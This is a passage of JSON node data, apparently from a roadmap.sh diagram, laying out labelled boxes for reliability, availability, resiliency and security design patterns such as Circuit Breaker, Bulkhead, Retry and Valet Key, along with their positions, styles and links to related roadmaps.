\"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 144,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 144,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": -160.69669367733997,\n        \"y\": 2468.872440135695\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 144,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"DYkdM_L7T2GcTPAoZNnUR\",\n      \"type\": \"topic\",\n      \"position\": {\n        \"x\": 526.7929647384103,\n        \"y\": 2958.0321887577434\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Reliability Patterns\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 187,\n      \"height\": 49,\n      \"style\": {},\n      \"positionAbsolute\": {\n        \"x\": 526.7929647384103,\n        \"y\": 2958.0321887577434\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 187,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"DOvQbApZ6k15FwOTAi9kP\",\n      \"type\": \"horizontal\",\n      \"position\": {\n        \"x\": -348.2070352615897,\n        \"y\": 2972.5321887577434\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"horizontal node\",\n        \"style\": {\n          \"strokeDasharray\": \"0\",\n          \"strokeLinecap\": \"round\",\n          \"strokeWidth\": 3.5,\n          \"stroke\": \"#2B78E4\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 876,\n      \"height\": 20,\n      \"style\": {\n        \"width\": 876,\n        \"height\": 20\n      },\n      \"positionAbsolute\": {\n        \"x\": -348.2070352615897,\n        \"y\": 2972.5321887577434\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 876,\n        \"height\": 20\n      }\n    },\n    {\n      \"id\": \"Xzkvf4naveszLGV9b-8ih\",\n      \"type\": \"topic\",\n      \"position\": {\n        \"x\": -352.21273166220635,\n        \"y\": 3020.2840884377797\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Availability\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 284,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 284,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": -352.21273166220635,\n        \"y\": 3020.2840884377797\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 284,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"FPPJw-I1cw8OxKwmDh0dT\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -344.21273166220635,\n        \"y\": 3077.2840884377797\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Deployment Stamps\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 266,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 266,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": -344.21273166220635,\n        \"y\": 3077.2840884377797\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 266,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"Ml9lPDGjRAJTHkBnX51Un\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -344.21273166220635,\n        \"y\": 3130.2840884377797\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Geodes\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 111,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 111,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": -344.21273166220635,\n        \"y\": 3130.2840884377797\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"resizing\": false,\n      \"measured\": {\n        \"width\": 111,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"cNJQoMNZmxNygWAJIA8HI\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -344.21273166220635,\n        \"y\": 3183.2840884377797\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Health Endpoint Monitoring\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 266,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 266,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": -344.21273166220635,\n        \"y\": 3183.2840884377797\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 266,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"-M3Zd8w79sKBAY6_aJRE8\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -344.21273166220635,\n        \"y\": 3236.2840884377797\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Queue-Based Load Leveling\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 266,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 266,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": -344.21273166220635,\n        \"y\": 3236.2840884377797\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 266,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"6YVkguDOtwveyeP4Z1NL3\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -227.44015059681118,\n        \"y\": 3129.7840884377797\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Throttling\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 151,\n      \"height\": 50,\n      \"style\": {\n        \"width\": 151,\n        \"height\": 50\n      },\n      \"positionAbsolute\": {\n        \"x\": -227.44015059681118,\n        \"y\": 3129.7840884377797\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"resizing\": false,\n      \"measured\": {\n        \"width\": 151,\n        \"height\": 50\n      }\n    },\n    {\n      \"id\": \"wPe7Xlwqws7tEpTAVvYjr\",\n      \"type\": \"topic\",\n      \"position\": {\n        \"x\": -71.63171528418138,\n        \"y\": 3021.0183671746804\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"High Availability\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 273,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 273\n      },\n      \"positionAbsolute\": {\n        \"x\": -71.63171528418138,\n        \"y\": 3021.0183671746804\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 273,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"Ze471tPbAwlwZyU4oIzH9\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -63.63171528418138,\n        \"y\": 3078.0183671746804\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Deployment Stamps\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 257,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 257,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": -63.63171528418138,\n        \"y\": 3078.0183671746804\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 257,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"6hOSEZJZ7yezVN67h5gmS\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -63.63171528418138,\n        \"y\": 3131.0183671746804\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Geodes\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 124,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 124,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": -63.63171528418138,\n        \"y\": 3131.0183671746804\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"resizing\": false,\n      \"measured\": {\n        \"width\": 124,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"uK5o7NgDvr2pV0ulF0Fh9\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -63.63171528418138,\n        \"y\": 3184.0183671746804\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Health Endpoint Monitoring\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 257,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 257,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": -63.63171528418138,\n        \"y\": 3184.0183671746804\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 257,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"IR2_kgs2U9rnAJiDBmpqK\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 64.36828471581862,\n        \"y\": 3131.4996104690044\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Bulkhead\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 129,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 129,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 64.36828471581862,\n        \"y\": 3131.4996104690044\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"resizing\": false,\n      \"measured\": {\n        \"width\": 129,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"D1OmCoqvd3-_af3u0ciHr\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -63.63171528418138,\n        \"y\": 3235\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Circuit Breaker\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 257,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 257,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": -63.63171528418138,\n        \"y\": 3235\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 257,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"wlAWMjxZF6yav3ZXOScxH\",\n      \"type\": \"topic\",\n      \"position\": {\n        \"x\": 198.11213811444725,\n        \"y\": 3021.4996104690044\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Resiliency\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 284,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 284,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 198.11213811444725,\n        \"y\": 3021.4996104690044\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 284,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"PLn9TF9GYnPcbpTdDMQbG\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 208.11213811444725,\n        \"y\": 3078.4996104690044\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Bulkhead\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 266,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 266,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 208.11213811444725,\n        \"y\": 3078.4996104690044\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 266,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"O4zYDqvVWD7sMI27k_0Nl\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 208.11213811444725,\n        \"y\": 3131.4996104690044\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Circuit Breaker\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 266,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 266,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 208.11213811444725,\n        \"y\": 3131.4996104690044\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 266,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"MNlWNjrG8eh5OzPVlbb9t\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 208.11213811444725,\n        \"y\": 3184.4996104690044\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Compensating Transaction\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 266,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 266,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 208.11213811444725,\n        \"y\": 3184.4996104690044\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 266,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"CKCNk3obx4u43rBqUj2Yf\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 208.11213811444725,\n        \"y\": 3237.4996104690044\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Health Endpoint Monitoring\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 266,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 266,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 208.11213811444725,\n        \"y\": 3237.4996104690044\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 266,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"AJLBFyAsEdQYF6ygO0MmQ\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 208.11213811444725,\n        \"y\": 3290.4996104690044\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Leader Election\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 266,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 266,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 208.11213811444725,\n        \"y\": 3290.4996104690044\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 266,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"NybkOwl1lgaglZPRJQJ_Z\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 208.11213811444725,\n        \"y\": 3343.4996104690044\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Queue-Based Load Leveling\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 266,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 266,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 208.11213811444725,\n        \"y\": 3343.4996104690044\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 266,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"xX_9VGUaOkBYFH3jPjnww\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 208.11213811444725,\n        \"y\": 3396.4996104690044\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Retry \",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 266,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 266,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 208.11213811444725,\n        \"y\": 3396.4996104690044\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 266,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"RTEJHZ26znfBLrpQPtNvn\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 208.11213811444725,\n        \"y\": 3449.4996104690044\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Scheduler Agent Supervisor\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 266,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 266,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 208.11213811444725,\n        \"y\": 3449.4996104690044\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"resizing\": false,\n      \"measured\": {\n        \"width\": 266,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"ZvYpE6-N5dAtRDIwqcAu6\",\n      \"type\": \"topic\",\n      \"position\": {\n        \"x\": -72.56981288497383,\n        \"y\": 3292.2871372731006\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Security\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 275,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 275,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": -72.56981288497383,\n        \"y\": 3292.2871372731006\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 275,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"lHPl-kr1ArblR7bJeQEB9\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -57.56981288497383,\n        \"y\": 3349.2871372731006\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Federated Identity\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 247,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 247,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": -57.56981288497383,\n        \"y\": 3349.2871372731006\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 247,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"DTQJu0AvgWOhMFcOYqzTD\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -57.56981288497383,\n        \"y\": 3402.2871372731006\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Gatekeeper\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 247,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 247,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": -57.56981288497383,\n        \"y\": 3402.2871372731006\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 247,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"VltZgIrApHOwZ8YHvdmHB\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -57.56981288497383,\n        \"y\": 3455.2871372731006\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Valet Key\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 247,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 247,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": -57.56981288497383,\n        \"y\": 3455.2871372731006\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 247,\n        \"height\": 49\n      }\n    },\n    {\n      \"width\": 431,\n      \"height\": 115,\n      \"id\": \"0vLaVNJaJSHZ_bHli6Qzs\",\n      \"type\": \"paragraph\",\n      \"position\": {\n        \"x\": -72.67045304080784,\n        \"y\": 3564.7516539612006\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Visit the following relevant tracks to learn more\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\",\n          \"borderColor\": \"#000000\",\n          \"backgroundColor\": \"WHITe\"\n        },\n        \"oldId\": \"m9eO0jLGuR_9w2JJbe_g2\"\n      },\n      \"zIndex\": 999,\n      \"positionAbsolute\": {\n        \"x\": -72.67045304080784,\n        \"y\": 3564.7516539612006\n      },\n      \"dragging\": false,\n      \"style\": {\n        \"width\": 431,\n        \"height\": 115\n      },\n      \"resizing\": false,\n      \"focusable\": true,\n      \"selectable\": true,\n      \"measured\": {\n        \"width\": 431,\n        \"height\": 115\n      }\n    },\n    {\n      \"width\": 132,\n      \"height\": 49,\n      \"id\": \"OIcmPSbdsuWapb6HZ4BEi\",\n      \"type\": \"button\",\n      \"position\": {\n        \"x\": -60.11226826767984,\n        \"y\": 3618.8973113943102\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Backend\",\n        \"href\": \"https://roadmap.sh/backend\",\n        \"color\": \"#FFf\",\n        \"backgroundColor\": \"#4136D6\",\n        \"style\": {\n          \"fontSize\": 17\n        },\n        \"borderColor\": \"#4136D6\",\n        \"oldId\": \"cmSSwPPiiHwYh9ct14N6A\"\n      },\n      \"zIndex\": 999,\n      \"dragging\": false,\n      \"positionAbsolute\": {\n        \"x\": -60.11226826767984,\n        \"y\": 3618.8973113943102\n      },\n      \"style\": {\n        \"width\": 132,\n        \"height\": 49\n      },\n      \"focusable\": true,\n      \"resizing\": false,\n      \"selectable\": true,\n      \"measured\": {\n        \"width\": 132,\n        \"height\": 49\n      }\n    },\n    {\n      \"width\": 21,\n      \"height\": 85,\n      \"id\": \"xi0QAi4kXm3-IFKgopnOP\",\n      \"type\": \"vertical\",\n      \"position\": {\n        \"x\": 134.33680999419494,\n        \"y\": 3681.8813239972997\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"vertical node\",\n        \"style\": {\n          \"strokeDasharray\": \"0.8 8\",\n          \"strokeLinecap\": \"round\",\n          \"strokeWidth\": 3.5,\n          \"stroke\": \"#2B78E4\"\n        },\n        \"oldId\": \"RLtk1C3gofHnLJ17x3o5b\"\n      },\n      \"zIndex\": 999,\n      \"positionAbsolute\": {\n        \"x\": 134.33680999419494,\n        \"y\": 3681.8813239972997\n      },\n      \"dragging\": false,\n      \"focusable\": true,\n      \"style\": {\n        \"width\": 21,\n        \"height\": 85\n      },\n      \"resizing\": false,\n      \"selectable\": true,\n      \"measured\": {\n        \"width\": 21,\n        \"height\": 85\n      }\n    },\n    {\n      \"width\": 160,\n      \"height\": 49,\n      \"id\": \"CH_K6mmFX_GdSzi2n1ID7\",\n      \"type\": \"button\",\n      \"position\": {\n        \"x\": 74.88773173232016,\n        \"y\": 3618.8973113943102\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Software Architect\",\n        \"href\": \"https://roadmap.sh/software-architect\",\n        \"color\": \"#FFFFFf\",\n        \"backgroundColor\": \"#4136D6\",\n        \"style\": {\n          \"fontSize\": 17\n        },\n        \"borderColor\": \"#4136D6\",\n        \"oldId\": \"-sFboM4eFUMVq1tlPl-fV\"\n      },\n      \"zIndex\": 999,\n      \"dragging\": false,\n      \"positionAbsolute\": {\n        \"x\": 74.88773173232016,\n        \"y\": 3618.8973113943102\n      },\n      \"style\": {},\n      \"focusable\": true,\n      \"resizing\": false,\n      \"selectable\": true,\n      \"measured\": {\n        \"width\": 160,\n        \"height\": 49\n      }\n    },\n    {\n      \"width\": 108,\n      \"height\": 49,\n      \"id\": \"-sFboM4eFUMVq1tlPl-fV\",\n      \"type\": \"button\",\n      \"position\": {\n        \"x\": 237.88773173232016,\n        \"y\": 3618.8973113943102\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"DevOps\",\n        \"href\": \"https://roadmap.sh/devops\",\n        \"color\": \"#FFFFFf\",\n        \"backgroundColor\": \"#4136D6\",\n        \"style\": {\n          \"fontSize\": 17\n        },\n        \"borderColor\": \"#4136D6\",\n        \"oldId\": \"qXKNK_IsGS8-JgLK-Q9oU\"\n      },\n      \"zIndex\": 999,\n      \"dragging\": false,\n      \"positionAbsolute\": {\n        \"x\": 237.88773173232016,\n        \"y\": 3618.8973113943102\n      },\n      \"style\": {},\n      \"focusable\": true,\n      \"resizing\": false,\n      \"selectable\": true,\n      \"measured\": {\n        \"width\": 108,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"5YmUrGQwDYxumNM8EDLpr\",\n      \"type\": \"linksgroup\",\n      \"position\": {\n        \"x\": -348.2070352615897,\n        \"y\": -24.59925177765109\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Other Roadmaps\",\n        \"links\": [\n          {\n            \"id\": \"NnyeHCnOx-VSImhN1PPDj\",\n            \"label\": \"Backend Roadmap\",\n            \"href\": \"\",\n            \"url\": \"https://roadmap.sh/backend\"\n          },\n          {\n            \"id\": \"_WHkr6XqLudFRLnBKcg-b\",\n            \"label\": \"DevOps Roadmap\",\n            \"url\": \"https://roadmap.sh/devops\"\n          },\n          {\n            \"id\": \"t89uezpOE5GIPW4V925Ay\",\n            \"label\": \"Software Design and Architecture\",\n            \"url\": \"https://roadmap.sh/software-design-architecture\"\n          }\n        ]\n      },\n      \"zIndex\": 999,\n      \"width\": 333,\n      \"height\": 164,\n      \"positionAbsolute\": {\n        \"x\": -348.2070352615897,\n        \"y\": -24.59925177765109\n      },\n      \"dragging\": false,\n      \"style\": {\n        \"width\": 333,\n        \"height\": 164\n      },\n      \"resizing\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 333,\n        \"height\": 164\n      }\n    },\n    {\n      \"id\": \"yHmHXymPNWwu8p1vvqD3o\",\n      \"type\": \"paragraph\",\n      \"position\": {\n        \"x\": 412.1124585902421,\n        \"y\": -38.8640868817655\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Find the detailed version of this roadmap along with other similar roadmaps\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"left\",\n          \"borderColor\": \"#000000\",\n          \"backgroundColor\": \"#FFFFFf\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 355,\n      \"height\": 143,\n      \"positionAbsolute\": {\n        \"x\": 412.1124585902421,\n        \"y\": -38.8640868817655\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"style\": {\n        \"width\": 355,\n        \"height\": 143\n      },\n      \"resizing\": false,\n      \"measured\": {\n        \"width\": 355,\n        \"height\": 143\n      }\n    },\n    {\n      \"id\": \"2zqZkyVgigifcRS1H7F_b\",\n      \"type\": \"button\",\n      \"position\": {\n        \"x\": 425.31583300304214,\n        \"y\": 43.12147653597968\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"roadmap.sh\",\n        \"href\": \"https://roadmap.sh\",\n        \"color\": \"#ffffff\",\n        \"backgroundColor\": \"#4136D6\",\n        \"style\": {\n          \"fontSize\": 17\n        }\n      },\n      